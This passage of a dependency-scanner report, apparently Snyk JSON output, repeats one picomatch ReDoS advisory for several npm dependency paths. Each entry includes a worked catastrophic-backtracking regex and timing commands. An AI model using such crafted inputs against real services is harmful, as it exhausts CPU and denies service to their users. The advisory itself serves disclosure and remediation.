"socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": 